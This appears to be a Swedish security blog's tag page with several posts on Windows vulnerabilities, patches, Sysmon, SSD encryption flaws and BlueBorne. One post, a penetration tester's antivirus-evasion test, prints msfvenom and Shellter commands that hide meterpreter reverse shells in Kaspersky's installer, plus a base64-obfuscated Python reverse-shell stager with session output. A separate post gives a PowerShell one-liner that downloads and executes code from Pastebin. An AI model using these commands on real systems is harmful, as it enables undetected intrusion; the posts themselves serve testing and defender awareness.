Taggat med: microsoft

NSA varnar för ny Windows-sårbarhet

NSA varnar för ny sårbarhet i Windows

TL;DR Windows CryptoAPI Spoofing-sårbarhet

Uppdatering: Nu finns det en PoC ute, se nedan bild (källa)

Uppdatering 2: Attacken fungerar även mot Chrome.

NSA gick precis ut och varnade för en ny krypto-relaterad sårbarhet som drabbar samtliga installationer av Windows 10 samt  Windows Server 2016/2019. Även påverkade är tredjepartsprogram som använder vissa kryptofunktioner i Windows.

Även skriver NSA att angripare med en god förmåga kommer snabbt att förstå hur dessa sårbarheter kan utnyttjas samt kommer att försöka utnyttja dessa nya sårbarheter.

Exempel där denna bristfälliga signaturvalidering förekommer är:

  • HTTPS-anslutningar
  • Signerade filer och signerad E-post
  • Signerade binärer som startas som användare

Och rekommendationen som åtgärd är att snabbt som ögat installera månadens patchar från Microsoft som släpptes idag. Denna sårbarhet har fått CVE enligt: CVE-2020-0601.

För att upptäcka intrångsförsök eller utnyttjande av bristerna som åtgärdas så kan verktyget certutil eller openssl användas rekommenderar NSA, specifikt på följande sätt:

certutil –asn <certificate_filename> 
openssl asn1parse –inform DER –in <certificate_filename> –i –dump 

Eller 

openssl x509 –inform DER –in <certificate_filename> –text 

Håll då koll på avvikande elliptiska kurvor skriver NSA:

Review the results for elliptic curve objects with suspicious properties. Certificates with named elliptic curves, manifested by explicit curve OID values, can be ruled benign. For example, the curve OID value for standard curve nistP384 is 1.3.132.0.34. Certificates with explicitly-defined parameters (e.g., prime, a, b, base, order, and cofactor) which fully-match those of a standard curve can similarly be ruled benign.

Certificates containing explicitly-defined elliptic curve parameters which only partially match a standard curve are suspicious, especially if they include the public key for a trusted certificate, and may represent bona fide exploitation attempts. 

Kom ihåg att du även kan läsa ut certifikat från PCAP och nätverkstrafik och sedan granska dem enligt ovan.

Mycket bra att NSA har rapporterat denna brist/brister till Microsoft så en patch kunde släppas. Inga aktiva försöka att utnyttja denna sårbarhet har identifierats rapporterar även Microsoft och NSA.

Varningen i sin helhet kan du läsa här (PDF)

Patch-gapping

Patch-gapping är ett nytt ord på en gammal metod som successivt ökar: Nämligen att utnyttja sårbarheter som åtgärdats av leverantörer, eller är på väg att åtgärdats av leverantörer. Området är närbesläktat med zero-days och patch-gapping kan även gå under benämningen 1-days eller n-days sårbarheter.

Under tiden som leverantören åtgärdar säkerhetsbristen eller det att användare ej uppdaterat sina system eller mjukvaror så finns det ett fönster för att utföra angrepp.

Detta är så klart något som angripare tar till vara på och utvecklar exploits så snart som det finns information om sårbarheter eller säkerhetsfixar. Ett område där detta uppdagas löpande är attacker mot webbläsare.

En av de första att utnyttja och påvisa denna typ av sårbarheter var Halvar Flake som utvecklade BinDiff runt år 2004. BinDiff används framförallt för att granska patchar som släpps av Microsoft och således se vilken kod som ändrats:

Zynamics BinDiff

Mjukvaran BinDiff utvecklades av Halvars företag Zynamics som blev uppköpta av Google och numera kan du gratis ladda hem bindiff. Andra liknande mjukvaror är Diaphora, YaDiff, DarunGrim och TurboDiff.

Men oftast så behövs det inte avancerad binär diffing utan räcker med att läsa changelog samt kolla git-repot eller motsvarande. När det gäller öppen källkod framförallt.

Företaget Exodus Intelligence har skrivit om patch-gapping gällande Google Chrome några gånger.

Följande graf har några år på nacken men visar på det window of opportunity som angriparen har på sig innan användaren uppdaterar till en ny version, i detta fall Google Chrome:

Ny version av Windows Sysinternals Sysmon

Uppdatering: Nya versionen har nu släppts och event ID 22 representerar DNS-frågor:

Event ID 22: DNSEvent (DNS query)

This event generates when a process executes a DNS query, whether the result is successful or fails, cached or not.

is event generates when a process executes a DNS query, whether the result is successful or fails, cached or not.

Även så framgår följande uppdateringar i v10:

This release of Sysmon adds DNS query logging, reports OriginalFileName in process create and load image events, adds ImageName to named pipe events, logs pico process creates and terminates, and fixes several bugs.

Mark Russinovich som tillvardags är CTO på Microsoft Azure meddelade på Twitter att det kommer en ny version av System Monitor (Sysmon) idag Tisdag.

Denna nya version stödjer bl.a. DNS-loggning direkt till eventloggen i Windows. Både förfrågningar och svar loggas till eventloggen som DnsQuery.

När jag skriver detta under tisdagen har dock ännu inte den nya versionen av Sysmon släppts.

Skärmdump:

Ovan skärmdump visar att QueryResults returnerar 5 vilket är CNAME. Att logga svaren på detta sätt är bra vid SOC/SIEM och Threat Hunting eftersom svaren kan ändras med tiden och på detta sätt så får vi en ögonblicksbild hur frågan och svaret såg ut vid just detta tillfälle.

Här kan du ladda hem Sysmon: docs.microsoft.com/en-us/sysinternals/downloads/sysmon

Kryptobrister i flertalet hårddiskar

Forskare vid Radboud University i Nederländerna har tittat på flertalet hårddiskar som stödjer kryptering och konstaterat att flertalet av dessa innehåller brister. Enkla brister såsom att återställningsnyckeln är ett blankt lösenord (32 x 0x00). Även var det möjligt med fysisk access och via JTAG-debugport återställa lösenordet.

Vad som också är anmärkningsvärt är att om du använder Microsoft BitLocker så förlitar sig BitLocker på hårddiskens kryptering.

Krypto-bristerna gäller främst följande hårddiskar:

  • Crucial (Micron) MX100, MX200 and MX300 interna hårddiskar.
  • Samsung T3 and T5 USB externa diskar.
  • Samsung 840 EVO and 850 EVO interna diskar.

Följande tabell visar på bristerna på de olika hårddiskarna:

“You might think you’ve done the right thing enabling BitLocker but then a third-party fault undermines your security, but you never know and never would know”

Alan Woodward, professor på University of Surrey

Här kan du läsa vad Samsung skriver om sårbarheterna:

Även så har myndigheten NCSC i Nederländerna gått ut med en varning samt tilldelat följande CVE:er:

  • CVE-2018-12037
  • CVE-2018-12038
  • CVE-2018-12037
  • CVE-2018-12038

Och här kan du ladda hem forskningsrapporten som PDF: Self-encrypting deception.pdf

Som åtgärd kan du använda VeraCrypt eller så går det att ändra en GPO-inställning så Bitlocker används även om hårdvaran stödjer kryptering.

Microsoft månatliga patchar för Mars

Microsoft har nu släppt de månatliga säkerhetspatcharna för Mars månad. En av de viktigaste säkerhetsfixarna är en som åtgärdar en RCE (Remote Code Execution) i CredSSP som används för bl.a. RDP (Remote Desktop). Denna sårbarhet har CVE-2018-0886 och som förmildrande faktor så måste angripare utföra MITM (man-i-mitten).

75 sårbarheter åtgärdas totalt varav 14 är kritiska och följande produkter åtgärdar Microsoft brister i:

  • Internet Explorer
  • Microsoft Edge
  • Microsoft Windows
  • Microsoft Office and Microsoft Office Services and Web Apps
  • Microsoft Exchange Server
  • ASP.NET Core
  • .NET Core
  • PowerShell Core
  • ChakraCore
  • Adobe Flash

För den som undrar så är ChakraCore den JavaScript-motor som återfinnes i webbläsaren Edge. Och vad som jag tycker är intressant är att Microsoft patchar en sårbarhet i Adobe Flash.

Uppdatering: Att Adobe Flash uppdateras beror troligtvis på att Flash numera är inbyggt i webbläsaren.

Test av gratis anti-virus från Kaspersky

Kaspersky lanserade nyligen en gratis version av sin antivirusmjukvara och jag bestämde mig för att testa vad den går för. Som del av mina uppdrag då jag testar säkerheten för mina uppdragsgivare (penetrationstester) så förekommer det att jag får i uppdrag att ta mig förbi eventuella säkerhetsprodukter såsom sandlådor och antivirus.

Det råder ingen tvekan om att det går att ta sig förbi majoriteten av alla säkerhetssystem såsom sandlådor, data loss prevention-verktyg och antivirus. Att däremot upptäcka i tid när någon försöker ta sig förbi ett säkerhetssystem och reagera på detta är avgörande.

Allmänna synpunkter om Kaspersky Free

Att ladda hem och installera Kaspersky Free Anti-Virus gick smidigt. Vid installationen fick jag frågan om jag vill ingå i Kaspersky Security Network (KSN) och då dela med mig av information om min dator samt skadlig kod som upptäcks på min dator. Jag förstår att inget i livet är gratis och att om jag använder Kaspersky Free så måste jag dela med mig av något. Men det verkar inte som att det är ett måste att ingå i KSN.

Nästa fundering är att det står att licensen gäller i 365 dagar. Vad händer efter det?

Test 1: Testvirus Eicar vs Kaspersky

Det första testet jag genomför är att ladda hem testviruset Eicar. Det finns på eicar.org och går att ladda hem på lite olika sätt: Direkt via HTTP, HTTPS eller i zip-fil. När jag laddar hem Eicar via HTTP så får jag ett meddelande direkt i webbläsaren att jag försöker ladda hem skadlig kod, vilket då påvisar att Kaspersky granskar okrypterad webbtrafik.

När jag försöker ladda hem Eicar via HTTPS så får jag inget meddelande, men jag varnas om jag aktivt försöker starta filen eller söker igenom filen. Detta visar på att Kaspersky ej troligtvis genomför MITM (man i mitten på HTTPS-surf).

Bra, då har vi verifierat att Kaspersky Free Anti-Virus är korrekt installerat.

Test 2: Powershell implantat vs Kaspersky

Nu börjar det bli lite mer avancerat. I detta test  tänker jag testa ett implantat som heter PoshC2 och ligger på Github. Implantatet kan levereras via MS16-051, Word-makron eller Java JAR-filer. Jag väljer att köra via ett Word-makro och installation samt kommunikation fungerar utmärkt.

PoshC2-implantat vs. Kaspersky

Skärmdumpen ovan påvisar att beacon skickas var femte sekund och att användaren heter IEUser. Eftersom Kaspersky var dålig på att upptäcka detta implantat så testar jag även att skicka upp Word-dokumentet till VirusTotal:

Bland de antivirus-motorer som detekterar denna skadlig kod är Avira, Avast, Fortinet och AVG.  Jag noterar också att den gratis IOC-skannern Loki detekterar detta.

Test 3: Metasploit vs Kaspersky

Med hjälp av operativsystemet Kali Linux där Metasploit finns förinstallerat skapar jag en meterpreter reverse TCP payload.

Jag använder msfvenom på följande sätt:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.101.2.254 LPORT=443 -f raw -e x86/shikata_ga_nai -i 9 | msfvenom -a x86 --platform windows -e x86/countdown -i 8 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 11 -f raw | msfvenom -a x86 --platform windows -e x86/countdown -i 6 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 7 -x kfa17.0.0.611abcsv_11811.exe -k -f exe -o kfa17.0.0.611abcsv_11811-meterpreter-msf.exe

Ovan kommandorad använder flertalet obfuskerare såsom shikata-ga-nai och lägger till Metasploits modul för att ansluta hem.

Denna payload gömmer vi sedan i Kasperskys egen installationsfil kfa17.0.0.611abcsv_11811.exe.

Detta var dock ingen match för Kaspersky att upptäcka:

Nästa test jag gör med Metasploit är att skapa en Python payload med hjälp av msfvenom:

msfvenom -f raw -p python/meterpreter/reverse_tcp LHOST=192.168.99.101 LPORT=443

Denna kod måste jag sedan modifiera så den fungerar tillsammans med PyInstaller som skapar en fristående .exe-fil.

Ser ut ungefär så här:

import base64,sys,socket,code,platform,shutil
exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguOTkuMTAxJyw0NDMpKQoJCWJyZWFrCglleGNlcHQ6CgkJdGltZS5zbGVlcCg1KQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKGQseydzJzpzfSkK')))

Vilket motsvarar följande kod utan Base64-kodning:

import socket,struct,time
for x in range(10):
  try:
	s=socket.socket(2,socket.SOCK_STREAM)
	s.connect(('192.168.99.101',443))
	break
  except:
	time.sleep(5)
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(l)
  while len(d)

När jag sedan testar att köra exe-filen från PyInstaller så blir det ingen detektion hos Kaspersky:

[*] Sending stage (40747 bytes) to 192.168.99.100
[*] Meterpreter session 6 opened (192.168.99.101:443 -> 192.168.99.100:50511) at 2017-08-24 09:44:11 -0400
 msf exploit(handler) > sessions -i 6
[*] Starting interaction with 6...

meterpreter > sysinfo
 Computer : IE11Win8_1
 OS : Windows 8.1 6.3.9600
 Architecture : x86
 Meterpreter : python/windows
 meterpreter >

Eftersom Kaspersky inte lyckades att detektera mitt test är det intressant att se vad VirusTotal säger om filen. Nu får jag en detektionsratio på 13 av 64 antivirus-motorer.

Test 4: Shellter vs Kaspersky

Shellter Project är ett intressant verktyg som enligt utvecklaren kan användas för att dynamiskt injicera shellcode i PE-filer (Portable Executable).

Shellter is a dynamic shellcode injection tool, and the first truly dynamic PE infector ever created.

Inbyggt i Shellter är möjligheten att skapa ett antal olika Metasploit meterpreter payloads:

  • meterpreter_reverse_tcp
  • meterpreter_reverse_http
  • meterpreter_reverse_https
  • meterpreter_bind_tcp
  • shell_reverse_tcp
  • shell_bind_tcp
  • WinExec

Och väljer du att köpa betalversionen (Pro) för 90 USD så får du ytterligare några payloads:

  • Meterpreter_Reverse_WINHTTP
  • Meterpreter_Reverse_WINHTTPS
  • Shell_Reverse_TCP_DNS

Och har du en egen payload så går det givetvis också bra. Några exempel på egen payload följer med i mappen shellcode_samples.

Jag kör Kali Linux där jag installerat Windows-emulatorn Wine och startar ShellterPro som är betalversionen med hjälp av följande argument:

wine ShellterPro.exe -f ../kfa17.0.0.611abcsv_11811.exe -p meterpreter_reverse_tcp --lhost 192.168.99.101 --port 443 --encode --handler IAT --polyExtra --incSize 500 --Junk -s

Detta gör att payloaden meterpreter_reverse_tcp läggs till i filen kfa17.0.0.611abcsv_11811.exe. Övriga argument har att göra med hur Shellter försöker dölja payloaden för antivirus-program.

Sedan för jag över filen till Windows där Kaspersky körs och får då en anslutning till Metasploit när användaren klickar på filen:

[*] Sending stage (956991 bytes) to 192.168.99.100
[*] Meterpreter session 1 opened (192.168.99.101:443 -> 192.168.99.100:57922) at 2017-08-25 02:38:52 -0400

msf exploit(handler) >
msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer : IE11WIN8_1
OS : Windows 8.1 (Build 9600).
Architecture : x86
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
meterpreter >

Laddar jag sedan upp denna testfil till VirusTotal så är det enbart 4 st antivirus-motorer som identifierar denna som skadlig kod:

Slutsats

Det är relativt lätt att ta sig förbi Kaspersky antivirus men ovan visar på att inget antivirus är fullständigt. Om du vill vara på den säkra sidan bör du använda flertalet antivirus-motorer, åtminstone i gateways såsom perimeterskyddet mot internet och vid analys av filer på löstagbart media.

Att använda ett antivirusprogram är helt klart bättre än att inte använda något alls. I ovan tester mot VirusTotal så ingår inte Microsofts eget gratisskydd Security Essentials.

Tack till Laban Sköllermark och Emma Lilliestam för korrekturläsning.

Ny trådlös attack som använder Bluetooth: BlueBorne

BlueBorne är samlingsnamnet på en ny uppsjö av säkerhetsbuggar som identifierats i den trådlösa standarden Bluetooth och kan potentiellt drabba 5.3 miljarder enheter världen över.

Säkerhetsbuggarna har identifierats av företaget Armis som jobbar just med IoT-säkerhet. Att säkerhetsbuggarna kan drabba så pass många enheter beror på att flertalet sårbarheter har identifierats i många av de mjukvaror som implementerar Bluetooth-standarden.

Följande sårbarheter har identifierats i plattformarna Android, Windows, Linux och iOS:

  • Linux kernel RCE vulnerability – CVE-2017-1000251
  • Linux Bluetooth stack (BlueZ) information leak vulnerability – CVE-2017-1000250
  • Android information leak vulnerability – CVE-2017-0785
  • Android RCE vulnerabilities CVE-2017-0781 & CVE-2017-0782
  • The Bluetooth Pineapple in Android – Logical Flaw CVE-2017-0783
  • The Bluetooth Pineapple in Windows – Logical Flaw CVE-2017-8628
  • Apple Low Energy Audio Protocol RCE vulnerability – CVE-2017-14315

Den enhet som attackeras behöver inte ställas i synligt-läge och några behörigheter behöver inte användas för att nyttja någon av ovan attacker enligt Armis.

Demonstration av attacken finner du här:

Här kan du ladda hem ett tekniskt papper i PDF-format:

Windows SMBv3 zero-day

Proof of Concept (PoC)-kod för en ny zero-day har släppts på Github. Koden kan få en Windows-klient att krascha över nätverket i dagsläget (denial of service) men oklart om detta kan leda till något allvarligare.

Det koden gör är simulera en server och skickar då SMBv3-paket som får klienter av typen Windows 8 eller Windows Server 2012 är blåskärma. Detta för att enbart dessa operativsystem och nyare som stödjer version 3 av SMB-protokollet.

För att förmildra eventuell skada så rekommenderas blockering av TCP portar 139 och 445 samt UDP port 137 och 138 in/utgående genom brandväggar.

PCAP finnes här:

Skärmdump från Windows 8 där denna brist utnyttjas:

Cyberangrepp som använder PowerShell ökar

Powershell är ett avancerat skript-språk till Windows som funnits i över 10 år där målet är att byta ut klassiska CMD.exe i framtiden (DOS-kommandotolk). Exempelvis så är standardskalet i Windows 10 just PowerShell. PowerShell är också populärt bland Windows-administratörer för dess förmåga att underlätta admin-arbete och har många olika funktioner vilket även gör det populärt för skadlig kod.

Enligt säkerhetsföretaget Symantec så är 95.4% av alla analyserade powershell-skript skadliga och många organisationer saknar förmåga att upptäcka skadliga powershell-skript uppger företaget. Detta för att loggningen är bristfällig i standardkonfigurationen. Att obfuskera och ändra i powershell-skript och således undgå enklare kontroller i form av strängmatchning och checksummor är också trivialt.

Den senaste alfa-versionen av PowerShell som heter version 6 har utökat stöd för loggning och flertalet olika säkerhetshöjande funktioner.

Följande PowerShell-versioner används som standard i Microsofts olika operativsystem:

Det finns PowerShell-skript för nästan allt, från att skapa ett nätverkssniffer eller för läsa ut lösenord. Vissa hot, t.ex. som Trojan.Kotver som försöker att ladda hem och installera PowerShells-ramverk om den inte är installerad på den infekterade datorn. Även så stödjer PowerShell att ladda hem och exekvera kod direkt i minnet vilket kan försvåra forensiska undersökningar.

Exempel på kod som laddar ner och exekverar kod från Pastebin:

powershell -w hidden -ep bypass -nop -c “IEX ((New-Object System.Net.Webclient). DownloadString(‘http://pastebin.com/raw/[REMOVED]’))”

Följande 37-sidiga whitepaper från Symantec innehåller en hel del matnyttigt:

Badlock var inte så farlig som många trodde

Nu har information släppts om den beryktade Badlock-buggen. Det visar sig att den inte är så farlig som många hade förväntat sig, dvs mer en uppbyggd hype eller PR-trick.

Sårbarheten är en så kallad MITM-bugg och gör att angriparen måste sätta sig mellan klienten och SMB-servern. Även så handlar Badlock om en överbelastningsattack, DoS.

Microsoft ger den nivå ”Important”, dvs näst högsta nivån och buggen får CVE-2016-0128 samt CVSS nivå 7.1.

Intressant denna tisdag är även att Microsoft släpper sitt månatliga patchpaket som innehåller critical-fixar för Edge och Internet Explorer.
hype train